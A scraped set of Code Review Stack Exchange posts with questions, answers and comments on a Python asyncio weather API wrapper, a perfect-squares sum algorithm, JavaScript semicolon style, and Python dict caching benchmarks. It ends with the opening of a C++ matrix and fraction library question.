print(f"Push notification to {user} failed: {reply}")
def init(get, post):
return partial(_send_weather, get, post)
if __name__ == "__main__":
HEADERS = {"Content-Type": "application/json"}
get, post = make_comms(HEADERS)
send_weather = init(get, post)
asyncio.run(send_weather("Glasgow", "Bob"))
</code></pre>
<p>How to structure an asynchronous functional program?</p>
|
[] |
[
{
"body": "<ul>\n<li>Calling <code>aiohttp.ClientSession</code> in <code>_post</code> and <code>_get</code> is really bad. Don't do this.</li>\n<li>There is no <code>main</code> function, this just makes the code harder to convert into a setuptools application.</li>\n<li><p>All these <code>functools.partial</code> only hinder readability rather than enhance it.</p>\n\n<p>Just make a class.</p></li>\n<li><p>The code isn't very functional. And I can only imagine what a purist would have to say about <code>_send_weather</code>. There are so many side effects in one little, hard to read, function.</p></li>\n<li>There is no separation of concerns, <code>_find_city</code> and <code>_city_weather</code> are solely around getting a forecast, whilst <code>_notify</code> is sending a notification. You've mangled them into one <code>_send_weather</code> function. Not great.</li>\n<li>Since the code isn't functional, and this is possibly the worst project to learn functional programming on. Let's just make it so that the code is easy to read.</li>\n</ul>\n\n\n\n<ol>\n<li><p>Make a <code>WeatherForecast</code> class.</p>\n\n<ol>\n<li>At instantiation, it only takes a <code>session</code>.<br>\nThis is so we can remove all those <code>partial</code>s with <code>self.get</code>.</li>\n<li>Include <code>get</code> into this class, however without the session creation part.</li>\n<li>Include <code>find_city</code> as <code>find_cities</code>, and don't mutate the output.</li>\n<li>Include <code>city_weather</code>.</li>\n<li><p>Change <code>send_weather</code> to <code>get_weather</code> and delegate calls to <code>find_city</code> and <code>city_weather</code>.</p>\n\n<p>It is not allowed to <code>print</code> here. All it does is get the weather for the wanted city.</p>\n\n<p>This is a helper function and so mutates the values to get the two other functions to work and to get the output as we desire. Nothing else.</p></li>\n</ol></li>\n<li><p>Remove the session creation part from <code>post</code>.</p></li>\n<li><p>Make a function <code>notify_user</code> that notifies the user of <code>city</code>'s <code>weather</code>.</p>\n\n<p>This is as simple as using two f-strings, to build the URL and the message.</p></li>\n<li><p>Change <code>_send_weather</code> so that it takes a session, city, and user.</p>\n\n<p>To make the function easy to read, we are limited to three things in the function.</p>\n\n<ol>\n<li>Calling another function.</li>\n<li>Performing a simple <code>if</code> <code>else</code> to control data flow.</li>\n<li>Formatting output to the user - basic f-strings.</li>\n</ol></li>\n</ol>\n\n<p>Here's how I performed the above. Which is as functional as your code. And you could argue that my functions are <em>more pure</em> than yours, as <code>get_weather</code> only gets weather. <code>notify_user</code> notifies the user. And <code>send_weather</code> only <code>print</code>s and delegates to other impure functions. None of them are pure and can't be because they all have side effects. Which pretty much makes implementing this in 'pure FP' a joke.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import asyncio\nfrom functools import partial\n\nimport aiohttp\n\nSUCCESSFUL_PUSH = {'deleted': True} # Value specific to fake push service\n\n\nclass WeatherForecast:\n def __init__(self, session):\n self.session = session\n\n async def get(self, headers, url):\n async with self.session.get(url, verify_ssl=False) as response:\n return await response.json()\n\n async def find_cities(self, city):\n return await self.get(f\"https://www.metaweather.com/api/location/search?query={city}\")\n\n async def city_weather(self, city_id):\n return await self.get(f\"https://www.metaweather.com/api/location/{city_id}\")\n\n async def get_weather(self, city_name):\n cities = await self.find_city(city_name)\n if not cities:\n return None\n forecast = await self.city_weather(cities[0][\"woeid\"])\n return forecast[\"consolidated_weather\"][0][\"weather_state_name\"]\n\n\nasync def post(session, url, data):\n async with session.post(url, json=data, verify_ssl=False) as response:\n return await response.json()\n\n\ndef notify_user(session, city, weather, user):\n return await post(\n session,\n f\"https://api.keen.io/dev/null?user={user}\",\n {\"message\": f\"Current weather in {city}: {weather}\"},\n )\n\n\ndef send_weather(session, city, user):\n weather = await WeatherForecast(session).get_weather(city)\n if weather is None:\n print(\"Could not get forecast\")\n else:\n reply = notify_user(session, city, weather, user)\n if reply == SUCCESSFUL_PUSH:\n print(f\"Current weather in {city}: {weather}\")\n else:\n print(f\"Push notification to {user} failed: {reply}\")\n\n\nasync def main():\n headers = {\"Content-Type\": \"application/json\"}\n async with aiohttp.ClientSession(headers=headers) as session:\n send_weather(session, \"Glasgow\", \"Bob\")\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-03-11T14:14:47.980",
"Id": "468173",
"Score": "0",
"body": "Hi @Peilonrayz, thanks for your answer. you make lots of good points, however I was looking for a functional programming based solution, not object based."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-03-03T12:09:31.590",
"Id": "238305",
"ParentId": "236714",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T15:13:07.210",
"Id": "236714",
"Score": "3",
"Tags": [
"python",
"functional-programming",
"asynchronous"
],
"Title": "Write a wrapper to REST API with asyncio"
}
|
236714
|
<p>Given a positive integer <code>n</code>, find the smallest number of perfect squares (for example, 1, 4, 9, 16, ...) that sum to <code>n</code>.</p>
<pre><code>sums = {0:0, 1:1}
def numSquares(n: int) -> int:
if n in sums:
return sums[n]
else:
s = 2**31
squares = [i**2 for i in range(1, int(n**(1/2)) + 1)]
while len(squares) and squares[-1] > n:
squares.pop()
for i in squares:
s = min(s, numSquares(n - i) + 1)
sums[n] = s
return s
</code></pre>
<p>I'm also having a bit of trouble calculating the time complexity (using Big O notation) due to the recursion.</p>
<p>I understand that it's at least <span class="math-container">\$O(\sqrt n)\$</span> due to the loop but I'm unsure of how to factor in the recursive call. </p>
<p>Thank you very much!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:18:48.650",
"Id": "464032",
"Score": "1",
"body": "You might get some ideas from https://codereview.stackexchange.com/q/201843/35991."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:37:43.297",
"Id": "464042",
"Score": "4",
"body": "I don't know if this code is efficient or not, but it **does work correctly.** There is no reason to close it as off-topic."
}
] |
[
{
"body": "<h1>Caching</h1>\n\n<p>You are using <code>sums</code> as a cache for your dynamic programming. Python comes with built-in caching (<a href=\"https://docs.python.org/3/library/functools.html?highlight=cache#functools.lru_cache\" rel=\"nofollow noreferrer\"><code>functools.lru_cache</code></a>), so you don't need to implement your own. Using it will avoid polluting the global namespace.</p>\n\n<h1>Integer Square-Root</h1>\n\n<p>With Python3.8 comes a built-in <a href=\"https://docs.python.org/3/library/math.html?highlight=isqrt#math.isqrt\" rel=\"nofollow noreferrer\"><code>math.isqrt</code></a>, rendering the idiom <code>int(n**(1/2))</code> obsolete.</p>\n\n<h1>Unnecessary filtering</h1>\n\n<pre><code> squares = [i**2 for i in range(1, isqrt(n) + 1)]\n while len(squares) and squares[-1] > n:\n squares.pop()\n</code></pre>\n\n<p>Here, you are generating all the squares up to (and including if it is a perfect square) <code>n</code>. Then, you check if the last item is larger than <code>n</code>. It is impossible for it to be, so <code>squares.pop()</code> will never be executed, making the entire <code>while</code> loop redundant code which can be deleted.</p>\n\n<h1>Unnecessary (and suspicious) minimum</h1>\n\n<pre><code> s = 2**31\n for i in squares:\n s = min(s, numSquares(n - i) + 1)\n</code></pre>\n\n<p>Here, <code>2**31</code> is used as a value larger than any possible value, so you can compute the minimum in the <code>for</code> loop. But is it really larger than any possible value??? I can think of larger values, but perhaps it comes from the challenge text.</p>\n\n<p>Still, Python provides a better way: the <code>min(...)</code> function and list comprehension:</p>\n\n<pre><code> s = min(numSquares(n - i) + 1 for i in squares)\n</code></pre>\n\n<p>This loops through all squares, and evaluates <code>numSquares(n - i) + 1</code> for each one, and selects the minimum value. No magic \"value larger than any possible value\" value is required.</p>\n\n<p>Still, it can be made even more efficient. If there are 10,000 squares, we add one to each result, and take the minimum. That's 10,000 plus one operations. If we compute the minimum value, and add one to that, we've saved 9,999 additions.</p>\n\n<pre><code> s = min(numSquares(n - i) for i in squares) + 1\n</code></pre>\n\n<h1>Unnecessary list creation</h1>\n\n<p>The code would now read:</p>\n\n<pre><code> squares = [i**2 for i in range(1, isqrt(n) + 1)]\n s = min(numSquares(n - i) for i in squares) + 1\n</code></pre>\n\n<p>We create a list of <code>squares</code> and then immediately loop through that list exactly once, and never use it again. Creating the list is an unnecessary step, that consumes memory and wastes time. Just compute the squares on the fly!</p>\n\n<pre><code> s = min(numSquares(n - i ** 2) for i in range(1, isqrt(n) + 1)) + 1\n</code></pre>\n\n<h1>PEP-8</h1>\n\n<p>Functions and variables should be in <code>snake_case</code>, not <code>mixedCase</code>. Your function should be named <code>num_squares</code>.</p>\n\n<p>There should be a space around binary operators like <code>**</code> and <code>/</code>.</p>\n\n<p>Variable names like <code>s</code> are meaningless. Variable names should be descriptive. <code>s</code> is the minimum count of the terms summing to <code>n</code>; <code>min_terms</code> would be more descriptive.</p>\n\n<h1>Updated Code</h1>\n\n<pre><code>from functools import lru_cache\nfrom math import isqrt\n\n@lru_cache(maxsize=None)\ndef num_squares(n: int) -> int:\n\n root_n = isqrt(n)\n if root_n ** 2 == n:\n return 1\n\n return min(num_squares(n - i ** 2) for i in range(1, root_n + 1)) + 1\n</code></pre>\n\n<h1>Further improvements</h1>\n\n<p>Consider 10001. It is not a perfect square. So you start subtracting squares off it, beginning with <span class=\"math-container\">\\$1^2\\$</span> and discover <span class=\"math-container\">\\$10001 - 1^2 = 100^2\\$</span>, for <code>min_terms</code> of 2. You should stop searching; there will be no better answer. But instead, you will continue with <span class=\"math-container\">\\$10001 - 2^2\\$</span>, and figure out the <code>num_squares()</code> of that, and then try \n<span class=\"math-container\">\\$10001 - 3^2\\$</span> and so on. This is all busy work.</p>\n\n<p>Determining how to prune the search tree left as exercise to student.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T04:45:25.863",
"Id": "464098",
"Score": "0",
"body": "Is `mixedCase` synonymous with `camelCase`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:03:06.287",
"Id": "464150",
"Score": "0",
"body": "@Linny According to [PEP8: Descriptive Naming Styles](https://www.python.org/dev/peps/pep-0008/#descriptive-naming-styles): `mixedCase` differs from `CapitalizedWords` (or `CapWords` or `CamelCase` or `StudlyCaps`) by having an initial lower case character."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T00:13:33.437",
"Id": "236754",
"ParentId": "236717",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236754",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T15:34:21.207",
"Id": "236717",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"interview-questions",
"dynamic-programming"
],
"Title": "Find the smallest number of perfect squares that sum to a target"
}
|
236717
|
<p><strong>TLDR:</strong> Does the javascript community regard it as poor syntax to include a <strong>terminating semicolon</strong> <em>inside</em> an anonymous function inside an Event Listener / Event Assignment statement, when the terminating semicolon of the surrounding statement will be following not long after?</p>
<hr>
<p>I'm currently writing a parser which reads optimised data and outputs javascript.</p>
<p>Generally, when the parser encounters data describing an Event Listener Statement, if an anonymous function is provided <em>instead of a named callback</em>, it will output something like the following:</p>
<p><strong>Event Listener Statement:</strong></p>
<pre><code>myNode.addEventListener('click', () => {
console.log('You clicked myNode.');
}, false);
</code></pre>
<p>Very occasionally, the data may describe an Event Assignment Statement instead:</p>
<p><strong>Event Assignment Statement:</strong></p>
<pre><code>myNode.onclick = () => {
console.log('You clicked myNode.');
};
</code></pre>
<hr>
<p>Now, if I were <em>handwriting</em> the two examples above, I'd write them as:</p>
<p><strong>Event Listener Statement:</strong></p>
<pre><code>myNode.addEventListener('click', () => console.log('You clicked myNode.'), false);
</code></pre>
<p>and</p>
<p><strong>Event Assignment Statement:</strong></p>
<pre><code>myNode.onclick = () => console.log('You clicked myNode.');
</code></pre>
<p><strong>In Summary:</strong> I'd not only skip the newlines, but in each case I'd also skip the curly braces (<code>{}</code>) since they're not necessary for any arrow functions implicitly returning a single statement and I'd <strong>definitely skip</strong> the semicolon (<code>;</code>) at the end of the single-statement anonymous arrow function.</p>
<hr>
<p>And that last consideration leads to my question:</p>
<p>Does the javascript community regard it as poor (superfluous?) syntax to include a <strong>terminating semicolon</strong> inside an anonymous function inside an Event Listener / Event Assignment statement, when the terminating semicolon of the statement itself will be following not long after?</p>
<p>Or can I continue to allow my parser to do its own robotic thing and not worry about its grungy semi-colon-heavy style?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:19:08.000",
"Id": "464089",
"Score": "2",
"body": "You're getting downvotes/close votes because you've presented us with *hypothetical* code, not code you wrote (i.e, from a project/assignment)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T16:00:50.853",
"Id": "464265",
"Score": "0",
"body": "I'm not really understanding the difference, @Linny. Are you saying it makes a difference whether I use `.onclick` in my example above or `.onsuccess`? Because, otherwise, this _is_ code that I wrote. (Or, rather, it's code that code I wrote wrote.)"
}
] |
[
{
"body": "<p>Semi-colons aren't necessarily required in JavaScript, and to be honest <a href=\"https://flaviocopes.com/javascript-automatic-semicolon-insertion/\" rel=\"nofollow noreferrer\">it's a pretty divisive topic in the JS community</a>. Having said that, I think that it is generally considered good practice to always terminate your statements. Using things such as a beautifier or minifier will typically add semi-colons into your code where necessary/missing (depending on your rules). </p>\n\n<p>If you follow some popular JS code style guides; <a href=\"https://google.github.io/styleguide/jsguide.html#formatting-semicolons-are-required\" rel=\"nofollow noreferrer\">Google's Style Guide</a>, they indicate that semi-colons are required and automatic insertion is forbidden. <a href=\"https://github.com/airbnb/javascript#semicolons\" rel=\"nofollow noreferrer\">AirBnB's Style Guide</a> basically says the exact same thing.</p>\n\n<p><strong>Edit:</strong>\nTo clarify, I am saying that this snippet would be the \"recommended\" way to go, if you were to follow either of the 2 style guides that I shared.</p>\n\n<pre><code>myNode.addEventListener('click', () => { console.log('You clicked myNode.'); }, false);\n</code></pre>\n\n<p>You need the <a href=\"https://stackoverflow.com/questions/50501047/one-line-arrow-functions-without-braces-cant-have-a-semicolon\">braces in an arrow function, if you want to use semicolons</a>. If you don't want to use semicolon, braces are not required for syntactic correctness.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T18:14:38.353",
"Id": "464047",
"Score": "0",
"body": "Thanks for that. So, to clarify, are you explicitly saying that: `myNode.addEventListener('click', () => {console.log('You clicked myNode.');}, false);` is regarded as better practice than `myNode.addEventListener('click', () => console.log('You clicked myNode.'), false);`? Many thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T18:19:17.390",
"Id": "464048",
"Score": "1",
"body": "@Rounin see my update :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T18:27:45.713",
"Id": "464049",
"Score": "1",
"body": "Thanks again. I've bookmarked the two style guides you've linked to above. That was the confirmation I needed. Hah. That's hilarious. The parser I wrote writes better javascript than I do."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:24:03.477",
"Id": "236727",
"ParentId": "236721",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236727",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:08:08.967",
"Id": "236721",
"Score": "-2",
"Tags": [
"javascript"
],
"Title": "Multiple semicolons when using ES2015 Arrow Function Syntax in Event Listener / Assignment Statements"
}
|
236721
|
<p>I want to store a value in a dict (to behave like a cache) but I care about performances. I wonder if it is better to create a second variable in order to store the result of the sum compared to retrieving the value from the dict where the result is already stored.</p>
<p>Real code:</p>
<pre class="lang-py prettyprint-override"><code>@property
def total_stats(self) -> Statistics:
if self.items in self.__total_stat:
return self.__total_stat[self.items]
self.__total_stat[self.__total_stat] = \
(res := sum((item.stats for item in self.items), Statistics()))
return res
</code></pre>
<p>I use this function in order to sum the statistics for a list of items as a <code>Statistics</code> object, and I want to know what is the best option between a second assignment or get a value in a dict.</p>
<p>Sharing the rest of the class or anything else isn't necessary; the dict behaves like a cache without limits, and the sum creates a <code>Statistics</code> object, but that's not the point of the question.</p>
|
[] |
[
{
"body": "<h2>No significant difference</h2>\n\n<p>With this code, I test 10*100_000 each functions.\nOne with a single dict (<code>only_dict()</code>), one with a second variable (<code>without_walrus()</code>) and a third with a walrus operator in order to be more pythonic in python-3.8 (<code>with_walrus()</code>)</p>\n\n<h2>Benchmarck</h2>\n\n<pre><code>from timeit import timeit\n\n\ndef only_dict(d, i):\n d[i] = sum(range(10))\n return d[i]\n\ndef without_walrus(d, i):\n r = sum(range(10))\n d[i] = r\n return r\n\ndef with_walrus(d, i):\n d[i] = (r := sum(range(10)))\n return r\n\nif __name__ == '__main__':\n print('only_di', 'without', 'with_wa')\n for _ in range(10):\n t1 = timeit('only_dict(d, 10)',\n setup='from __main__ import only_dict; d = dict()',\n number=100_000)\n t2 = timeit('without_walrus(d, 10)',\n setup='from __main__ import without_walrus; d = dict()',\n number=100_000)\n t3 = timeit('with_walrus(d, 10)',\n setup='from __main__ import with_walrus; d = dict()',\n number=100_000)\n print(f'{t1:.5f}', f'{t2:.5f}', f'{t3:.5f}')\n</code></pre>\n\n<h2>Results</h2>\n\n<pre><code>only_di without with_wa\n0.05248 0.05062 0.05023\n0.05517 0.05389 0.04902\n0.04654 0.04587 0.05096\n0.04846 0.04607 0.04593\n0.04765 0.04722 0.04789\n0.04833 0.04839 0.04797\n0.04914 0.04691 0.04620\n0.04725 0.04710 0.04495\n0.04652 0.04494 0.04728\n0.05279 0.05144 0.05151\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T17:05:40.520",
"Id": "464271",
"Score": "1",
"body": "note that those measurements indicate no significant difference between those functions. i.e. most of the time is spent executing `sum(range(10))`. I'd therefore suggest doing whichever is easiest given the rest of the code. personally I like `without_walrus` the most, but `with_walrus` compiles to slightly nicer bytecode"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:53:40.830",
"Id": "236725",
"ParentId": "236724",
"Score": "2"
}
},
{
"body": "<p>might have gone a bit far with the microbenchmarking here, but I've stripped out the irrelevant parts of your above functions, giving:</p>\n\n<pre><code>def only_dict(d, i):\n d[i] = 0\n return d[i]\n\ndef without_walrus(d, i):\n r = 0\n d[i] = r\n return r\n\ndef with_walrus(d, i):\n d[i] = (r := 0)\n return r\n</code></pre>\n\n<p>i.e. just write the number zero into the dictionary instead of complicating things with also running <code>sum(range(10))</code>. note that as soon as your code is doing anything as complicated as <code>sum(range(10))</code> (i.e. almost certainly) then the time of that will dominate and all of this doesn't matter</p>\n\n<p>I've also written a special version which appears below as <code>patched_walrus</code> which is like <code>with_walrus</code> eliminates the store to <code>r</code>. it's similar to:</p>\n\n<pre><code>def patched_walrus(d, i):\n return (d[i] := 0)\n</code></pre>\n\n<p>AFAIK this can't be expressed in Python code, but the bytecode allows it and it was an interesting for me to include</p>\n\n<p>it's important to reduce variance as much as possible, and because the code we're benchmarking is so small I'm using <a href=\"https://docs.python.org/3/library/timeit.html#timeit.Timer\" rel=\"noreferrer\"><code>Timer</code>s</a> directly as:</p>\n\n<pre><code>from timeit import Timer\n\nfunctions = [only_dict, without_walrus, with_walrus, patched_walrus]\ntimers = [\n Timer('fn(d, 0)', 'fn = func; d = {}', globals=dict(func=fn))\n for fn in functions\n]\n\nout = [\n tuple(t.timeit() for t in timers) for _ in range(101)\n]\n</code></pre>\n\n<p>I ignore the first few runs as these tend to be slower due to various things like warming up the cache, e.g. your first two runs are noticeably slower because of this. using <code>Timer</code> directly helps because it will compile the code once (rather than every time you call <code>timeit</code> and then the compiled code can remain hot in the cache.</p>\n\n<p>next we can plot these in order:</p>\n\n<p><a href=\"https://i.stack.imgur.com/z2qYz.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/z2qYz.png\" alt=\"idx vs walrus\"></a></p>\n\n<p>which helps to see if your machine was busy as this can bias the results. I've drawn outliers as dots and connected the rest. the small plot on the right has <a href=\"https://en.wikipedia.org/wiki/Kernel_density_estimation\" rel=\"noreferrer\">KDE</a>s of the non-outlier distributions.</p>\n\n<p>we can see that:</p>\n\n<ol>\n<li><code>only_dict</code> is about 10 nanoseconds per invocation faster, i.e. a tiny difference but we can reliably measure it now</li>\n<li><code>without_walrus</code> and <code>with_walrus</code> are still basically the same</li>\n<li>my special <code>patched_walrus</code> is a measurable 2 nanoseconds faster, but so fiddly to create it's almost certainly not worth it. you'd be better writing a CPython extension module directly if you really care about performance</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-10T16:12:29.787",
"Id": "464583",
"Score": "3",
"body": "That's a cool plot. How'd you plot it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-10T18:13:05.033",
"Id": "464598",
"Score": "3",
"body": "@Peilonrayz it's just matplotlib with the `ticks` seaborn style. the actual code is a bit of a mess, but i've posted it [here](https://gist.github.com/smason/13101d622377c9488489864788eb93fa) in case it's useful"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T23:15:45.147",
"Id": "236864",
"ParentId": "236724",
"Score": "6"
}
},
{
"body": "<h2><strong>LRU pattern</strong></h2>\n\n<p>The meaning of the function is to retrieve already computed value stored in a dict.With the LRU pattern, there is no need of dict, and everything in the @property. This code is ok if <code>functools</code> module is used with the:</p>\n\n<pre><code>def total_stats(self) -> Statistics:\n return sum((item.stats for item in self.items), Statistics())\n</code></pre>\n\n<h3>Python ≥ 3.2 - <a href=\"https://docs.python.org/3/library/functools.html#functools.lru_cache\" rel=\"nofollow noreferrer\">functools.lru_cache</a>:</h3>\n\n<pre><code>@property\n@lru_cache\ndef total_stats(self) -> Statistics:\n return sum((item.stats for item in self.items), Statistics())\n</code></pre>\n\n<h3>Python ≥ 3.8 - <a href=\"https://docs.python.org/3/library/functools.html#functools.cached_property\" rel=\"nofollow noreferrer\">functools.cached_property</a>:</h3>\n\n<p>EDIT: In this context, it cannot be used! In the question specific case, the list of items can change without creating a Statistics object. Then, if the list change, the cached_property will remain and return an outdated Statistics object.</p>\n\n<blockquote>\n <p>Transform a method of a class into a property whose value is computed\n once and then cached as a normal attribute for the life of the\n instance. Similar to property(), with the addition of caching. Useful\n for expensive computed properties of instances that are otherwise\n effectively immutable.</p>\n</blockquote>\n\n<p>Example:</p>\n\n<pre><code>>>> from functools import cached_property\n>>> class CustomType:\n def __init__(self):\n self._some_value = list(range(5))\n @cached_property\n def some_value(self):\n print('cache result')\n return self._some_value\n\n>>> a = CustomType()\n>>> a.some_value\ncache result\n[0, 1, 2, 3, 4]\n>>> a._some_value = 0\n>>> a.some_value\n[0, 1, 2, 3, 4]\n>>> a._some_value\n0\n</code></pre>\n\n<h2>With the <a href=\"https://cacheout.readthedocs.io/en/latest/index.html\" rel=\"nofollow noreferrer\">cacheout module</a>:</h2>\n\n<p>For other cache implementation.</p>\n\n<ul>\n<li>FIFO (First-In, First-Out)</li>\n<li>LIFO (Last-In, First-Out)</li>\n<li>LRU (Least Recently Used)</li>\n<li>MRU (Most Recently Used)</li>\n<li>LFU (Least Frequently Used)</li>\n<li>RR (Random Replacement)</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-11T10:56:16.997",
"Id": "464705",
"Score": "0",
"body": "didn't realise that was what you're trying to do, think I got distracted by your initial benchmark!. those decorators are certainly nicer to use if you can, but the checks in your question don't make it obvious that these would apply"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-11T10:57:28.613",
"Id": "464706",
"Score": "0",
"body": "I know, don't worry. That's why I ask this on meta : https://codereview.meta.stackexchange.com/questions/9442/should-i-change-the-questions-title-or-body-and-or-create-another-question"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-11T11:18:38.003",
"Id": "464719",
"Score": "1",
"body": "wow, that's a lot more effort than most people put into using this site! I really should have asked some clarifying comments first, and mostly wrote the answer after seeing what effect \"optimal\" bytecode would have"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-11T12:12:53.640",
"Id": "464731",
"Score": "0",
"body": "I respect people spending time helping me, that's all :)"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-10T13:57:44.500",
"Id": "236995",
"ParentId": "236724",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": "236864",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:53:40.830",
"Id": "236724",
"Score": "-1",
"Tags": [
"python",
"performance",
"python-3.x"
],
"Title": "What is the best practice between second assignment or dict's value call?"
}
|
236724
|
<p>I have written a Matrix library that contains all the main properties of matrices.
It's a relatively long project, I am hoping it is ok to post here since I really want to have it reviewed. </p>
<p>The project is compiled in GCC 9.2.0 and Boost 1.71.0, from <a href="https://nuwen.net/mingw.html" rel="nofollow noreferrer">https://nuwen.net/mingw.html</a>, environment codeblocks windows 10. </p>
<p>Utility.h</p>
<pre><code>#ifndef UTILITY_H_INCLUDED
#define UTILITY_H_INCLUDED
#include <iostream>
#include <math.h>
#include <conio.h>
#include <vector>
#include "Fraction.h"
#include <boost/multiprecision/cpp_int.hpp>
using boost::multiprecision::cpp_int;
using namespace std;
namespace utilities
{
void swapRows(vector<vector<Fraction>>& mx, int row1, int row2,
int columns)
{
for (int i = 0; i < columns; i++ )
{
std::swap( mx[ row1 ][ i ], mx[ row2 ][ i ] );
}
}
bool pivotEqualTo_one_Found(std::vector<vector<Fraction>>& mx, int pivot_row, int pivot_col,
int cols_num, int& alternative_pivot_row )
{
for (int i = pivot_row + 1; i < cols_num; ++i)
{
if(mx[ i ][ pivot_col ] == 1)
{
alternative_pivot_row = i;
return true;
}
}
return false;
}
bool pivotNot_zero_Found(vector<vector<Fraction>> mx, int pivot_row, int pivot_col,
int cols_num, int& col_dif_zero )
{
Fraction fr(0, 0);
for (int i = pivot_row + 1; i < cols_num; ++i)
{
if(mx[ i ][ pivot_col ] != fr)
{
col_dif_zero = i;
return true;
}
}
return false;
}
bool firstNumberNot_zero(vector<vector<Fraction>> mx, int row_num, int columms,
int& num_coluna_num_dif_zero)
{
for (int i = 0; i < columms; ++i)
{
if (mx[row_num] [ i ] != 0)
{
num_coluna_num_dif_zero = i;
return true;
}
}
return false;
}
void changePivotTo_one(vector<vector<Fraction>>& mx, int row_num, int columms, Fraction constant)
{
Fraction fr(0, 1);
for(int i = 0; i < columms; ++i)
if (mx[ row_num ][ i ].num == 0)
mx[ row_num ][ i ] = mx[ row_num ][ i ];
else
mx[ row_num ][ i ] = (mx[ row_num ][ i ] / constant);
}
void zeroOutTheColumn(vector<vector<Fraction>>& mx, int row_num, int num_pivot_row,
int columms, Fraction constant)
{
for(int i = 0; i < columms; ++i)
{
mx[ row_num ][ i ] = mx[ row_num ][ i ] - (constant * mx[num_pivot_row][i]);
}
}
}
#endif // UTILITY_H_INCLUDED
</code></pre>
<p>Fraction.h</p>
<pre><code>#ifndef FRACTION_H_INCLUDED
#define FRACTION_H_INCLUDED
#include <ostream>
#include <boost/multiprecision/cpp_int.hpp>
using boost::multiprecision::cpp_int;
class Fraction
{
cpp_int lcd(cpp_int a, cpp_int b);
cpp_int gcf(cpp_int a, cpp_int b);
void simplify();
public:
cpp_int num;
cpp_int den;
Fraction () : num(0), den(1) {}
Fraction (cpp_int n)
{
num = n;
den = 1;
}
Fraction(cpp_int _num, cpp_int _den) : num(_num), den(_den) {}
friend std::ostream& operator<< (std::ostream& os, const Fraction& fr);
bool operator== (const Fraction& fr)
{
return (this->num == fr.num && this->den == fr.den);
}
bool operator== (int n)
{
return ((this->num / this->den) == n);
}
bool operator!= (const Fraction& fr)
{
return (this->num != fr.num || this->den != fr.den);
}
bool operator!= (int n)
{
return ((this->num / this->den) != n);
}
Fraction operator+(const Fraction& fr) const;
Fraction operator/(const Fraction& fr) const;
Fraction operator-(const Fraction& fr) const;
Fraction operator*(const Fraction& fr) const;
friend Fraction operator+(const Fraction& fr, cpp_int n);
friend Fraction operator+(cpp_int n, const Fraction& fr);
friend Fraction operator-(const Fraction& fr, cpp_int n);
friend Fraction operator-(cpp_int n, const Fraction& fr);
friend Fraction operator/(const Fraction& fr, cpp_int n);
friend Fraction operator/(cpp_int n, const Fraction& fr);
friend Fraction operator*(const Fraction& fr, cpp_int n);
friend Fraction operator*(cpp_int n, const Fraction& fr);
friend void operator+= (Fraction& f, const Fraction& fr);
friend void operator-= (Fraction& f, const Fraction& fr);
friend void operator/= (Fraction& f, const Fraction& fr);
friend void operator*= (Fraction& f, const Fraction& fr);
friend void operator+=(Fraction& fr, cpp_int n);
friend void operator-=(Fraction& fr, cpp_int n);
friend void operator*=(Fraction& fr, cpp_int n);
friend void operator/=(Fraction& fr, cpp_int n);
};
#endif // FRACTION_H_INCLUDED
</code></pre>
<p>Fraction.cpp</p>
<pre><code>#include "Fraction.h"
using namespace std;
std::ostream& operator << (std::ostream& os, const Fraction& fr)
{
if(fr.num % fr.den == 0)
{
cpp_int res = fr.num / fr.den;
os << res;
}
else
os << fr.num << "/" << fr.den;
return os;
}
cpp_int Fraction::gcf(cpp_int a, cpp_int b)
{
if( b == 0)
return abs(a);
else
return gcf(b, a%b);
}
